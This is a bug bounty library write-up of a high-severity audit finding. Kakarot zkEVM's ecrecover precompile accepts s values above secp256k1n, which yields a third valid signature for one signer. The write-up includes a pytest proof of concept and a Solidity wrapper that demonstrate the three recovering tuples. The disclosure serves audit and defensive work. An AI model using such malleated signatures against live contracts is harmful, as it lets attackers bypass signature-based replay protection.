# Three valid signatures for the same message

Kakarot's ecrecover precompile fails to bound s to secp256k1n, so s+secp256k1n yields a third valid signature for the same message, breaking signature-uniqueness assumptions.

- Payout: Audit contest
- Severity: high
- Program: Kakarot
- Found by: fyamf
- Disclosed: 2024-12-10
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-09-kakarot-findings/issues/13
- Library page: https://bugbountylibrary.com/r/c4%3A2024-09-kakarot%3AH-06
- Tags: area:web3 domain:web3 impact:integrity kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:source-review vuln:crypto vuln:signature-replay

**Target:** ecrecover precompile (ec_recover.cairo) on Kakarot zkEVM
**Root cause:** The ec_recover precompile validates v but never constrains s to the valid secp256k1 range; the underlying recover_eth_address accepts s > secp256k1n and reduces it, returning a valid address instead of address(0).
**Steps:**
1. Call ecrecover with r=1, v=27, s=2 -> 0x992FEaf0E360bffaeAcf57c28D2a3F5059Fe0982
2. Call ecrecover with r=1, v=28, s=secp256k1n-2 -> same address (standard malleability)
3. Call ecrecover with r=1, v=27, s=secp256k1n+2 -> same address on Kakarot (Ethereum returns address(0))
4. Observe three distinct (r,s,v) tuples recovering the same signer
**How found:** Compared Kakarot's ecrecover behavior against Ethereum's for out-of-range s values, noticing Kakarot returns a valid address where Ethereum returns address(0), then constructed a third signature variant.
**Exploitation:** Not weaponized in the text; impact is that any protocol relying on signature uniqueness (replay protection keyed on signature bytes, nonce-by-signature, meta-transaction dedup) can be bypassed by submitting the third malleated signature.
**Insight:** When auditing EVM-compatible precompiles on alt-VMs, differential-test edge inputs (s > secp256k1n, r=0, v out of range) against canonical Ethereum behavior; any divergence in ecrecover output breaks signature-uniqueness assumptions in downstream contracts.

## Proof of concept (copied exactly from the original report)

**Python test calling ecrecover with three (r,s,v) combos**

```
import pytest
import pytest_asyncio

from kakarot_scripts.utils.kakarot import deploy


@pytest_asyncio.fixture(scope="package")
async def target():
    return await deploy(
        "Simple",
        "TestEcrecoverWrong",
    )

# 0xfffFFFFFFFFFFFFFFFFFFFFFFFFFFFFebaaedce6af48a03bbfd25e8cd0364140

@pytest.mark.asyncio(scope="package")
class Test:


    class TestEcrecoverWrong1:
        async def test_ecrecover_wrong1(self, target):
            # r = 1
            # s = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364143 = secp256k1n + 2
            # v = 27
            addr = await target.call1(1, 115792089237316195423570985008687907852837564279074904382605163141518161494339, 27)
            print("s is secp256k1n + 2, v is 27: " + str(addr)) 

            
    class TestEcrecoverWrong2:
        async def test_ecrecover_wrong2(self, target):
            # r = 1
            # s = 2
            # v = 27
            addr = await target.call1(1, 2, 27)
            print("s is 2, v is 27: " + str(addr)) 

    class TestEcrecoverWrong3:
        async def test_ecrecover_wrong3(self, target):
            # r = 1
            # s = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD036413F = secp256k1n - 2
            # v = 28
            addr = await target.call1(1, 115792089237316195423570985008687907852837564279074904382605163141518161494335, 28)
            print("s is secp256k1n - 2, v is 28: " + str(addr))
```

**Solidity contract wrapping ecrecover**

```
pragma solidity ^0.8.0;

contract TestEcrecoverWrong {
    function call1(uint256 _r, uint256 _s, uint256 _v) public view returns (address) {
        return ecrecover(bytes32(uint256(0)), uint8(_v), bytes32(_r), bytes32(_s));
    }
}
```

